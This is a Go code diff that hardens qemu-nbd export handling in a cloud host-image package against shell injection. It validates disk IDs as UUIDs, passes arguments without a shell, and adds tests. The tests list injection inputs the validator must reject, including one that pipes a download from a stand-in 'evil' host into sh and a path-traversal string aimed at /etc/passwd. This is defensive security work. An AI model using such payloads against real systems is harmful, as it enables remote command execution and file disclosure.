diff --git a/pkg/hostimage/nbd.go b/pkg/hostimage/nbd.go index 68e077537b..4c3b075773 100644 --- a/pkg/hostimage/nbd.go +++ b/pkg/hostimage/nbd.go @@ -24,6 +24,7 @@ import ( "yunion.io/x/log" "yunion.io/x/pkg/errors" + "yunion.io/x/pkg/util/regutils" "yunion.io/x/pkg/util/version" "yunion.io/x/onecloud/pkg/util/fileutils2" @@ -33,6 +34,16 @@ import ( "yunion.io/x/onecloud/pkg/util/qemutils" ) +// validateNbdDiskId restricts the disk id to a plain UUID: it is +// interpolated into qemu-nbd arguments and pid file paths and must never +// contain shell metacharacters or path separators. +func validateNbdDiskId(diskId string) error { + if !regutils.MatchUUIDExact(diskId) { + return errors.Errorf("invalid disk_id %q, expected UUID", diskId) + } + return nil +} + var EXPORT_NBD_BASE_PORT = 7777 var LAST_USED_NBD_SERVER_PORT = 0 @@ -90,6 +101,9 @@ func (m *SNbdExportManager) getQemuNbdVersion() (string, error) { } func (m *SNbdExportManager) QemuNbdStartExport(imageInfo qemuimg.SImageInfo, diskId string) (int, error) { + if err := validateNbdDiskId(diskId); err != nil { + return -1, err + } m.portsLock.Lock() defer m.portsLock.Unlock() @@ -119,16 +133,20 @@ func (m *SNbdExportManager) QemuNbdStartExport(imageInfo qemuimg.SImageInfo, dis if version.GE(nbdVer, "4.0.0") { cmd = append(cmd, "--fork") } - cmdStr := strings.Join(cmd, " ") - err = procutils.NewRemoteCommandAsFarAsPossible("sh", "-c", cmdStr).Run() + // argv is passed directly to qemu-nbd without a shell, so nothing in the + // arguments (e.g. the disk id) can be interpreted as shell syntax + err = procutils.NewRemoteCommandAsFarAsPossible(cmd[0], cmd[1:]...).Run() if err != nil { - log.Errorf("qemu-nbd connect failed %s %s", err.Error()) + log.Errorf("qemu-nbd connect failed %s", err.Error()) return -1, errors.Wrapf(err, "qemu-nbd connect failed") } return nbdPort, nil } func (m *SNbdExportManager) QemuNbdCloseExport(diskId string) error { + if err := validateNbdDiskId(diskId); err != nil { + return err + } pidFilePath := path.Join(HostImageOptions.HostImageNbdPidDir, fmt.Sprintf("nbd_%s.pid", diskId)) if !m.nbdProcessExist(diskId) { if fileutils2.Exists(pidFilePath) { @@ -156,7 +174,16 @@ func (m *SNbdExportManager) QemuNbdCloseExport(diskId string) error { return nil } +// nbdProcessExist checks whether the qemu-nbd process recorded in the pid +// file for diskId is still alive, without spawning a shell. func (m *SNbdExportManager) nbdProcessExist(diskId string) bool { - return procutils.NewRemoteCommandAsFarAsPossible("sh", "-c", - fmt.Sprintf("ps -ef | grep [q]emu-nbd | grep %s", diskId)).Run() == nil + pidFilePath := path.Join(HostImageOptions.HostImageNbdPidDir, fmt.Sprintf("nbd_%s.pid", diskId)) + if !fileutils2.Exists(pidFilePath) { + return false + } + pid, err := fileutils2.FileGetIntContent(pidFilePath) + if err != nil || pid <= 0 { + return false + } + return procutils.NewRemoteCommandAsFarAsPossible("kill", "-0", strconv.Itoa(pid)).Run() == nil } diff --git a/pkg/hostimage/nbd_test.go b/pkg/hostimage/nbd_test.go new file mode 100644 index 0000000000..8ee7afd686 --- /dev/null +++ b/pkg/hostimage/nbd_test.go @@ -0,0 +1,73 @@ +// Copyright 2019 Yunion +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package hostimage + +import ( + "fmt" + "os" + "path" + "testing" +) + +func TestValidateNbdDiskId(t *testing.T) { + cases := []struct { + in string + wantErr bool + }{ + {"74b96fad-6e63-4b78-a026-fa19e9e2c9b9", false}, + {"", true}, + {"x;id>/tmp/pwn;#", true}, + {"a b", true}, + {"../../etc/passwd", true}, + {"a$(curl evil|sh)", true}, + } + for _, c := range cases { + err := validateNbdDiskId(c.in) + if c.wantErr && err == nil { + t.Fatalf("validateNbdDiskId(%q) expected error, got nil", c.in) + } + if !c.wantErr && err != nil { + t.Fatalf("validateNbdDiskId(%q) unexpected error: %v", c.in, err) + } + } +} + +func TestNbdProcessExist(t *testing.T) { + dir := t.TempDir() + oldDir := HostImageOptions.HostImageNbdPidDir + HostImageOptions.HostImageNbdPidDir = dir + defer func() { HostImageOptions.HostImageNbdPidDir = oldDir }() + + man := NewNbdExportManager() + diskId := "74b96fad-6e63-4b78-a026-fa19e9e2c9b9" + if man.nbdProcessExist(diskId) { + t.Fatalf("nbdProcessExist should be false without pid file") + } + // write the pid of the current process: it must be detected as alive + pidFile := path.Join(dir, fmt.Sprintf("nbd_%s.pid", diskId)) + if err := os.WriteFile(pidFile, []byte(fmt.Sprintf("%d", os.Getpid())), 0644); err != nil { + t.Fatalf("write pid file: %v", err) + } + if !man.nbdProcessExist(diskId) { + t.Fatalf("nbdProcessExist should be true for a live process") + } + // a dead pid must be detected as gone + if err := os.WriteFile(pidFile, []byte("99999999"), 0644); err != nil { + t.Fatalf("write pid file: %v", err) + } + if man.nbdProcessExist(diskId) { + t.Fatalf("nbdProcessExist should be false for a dead process") + } +}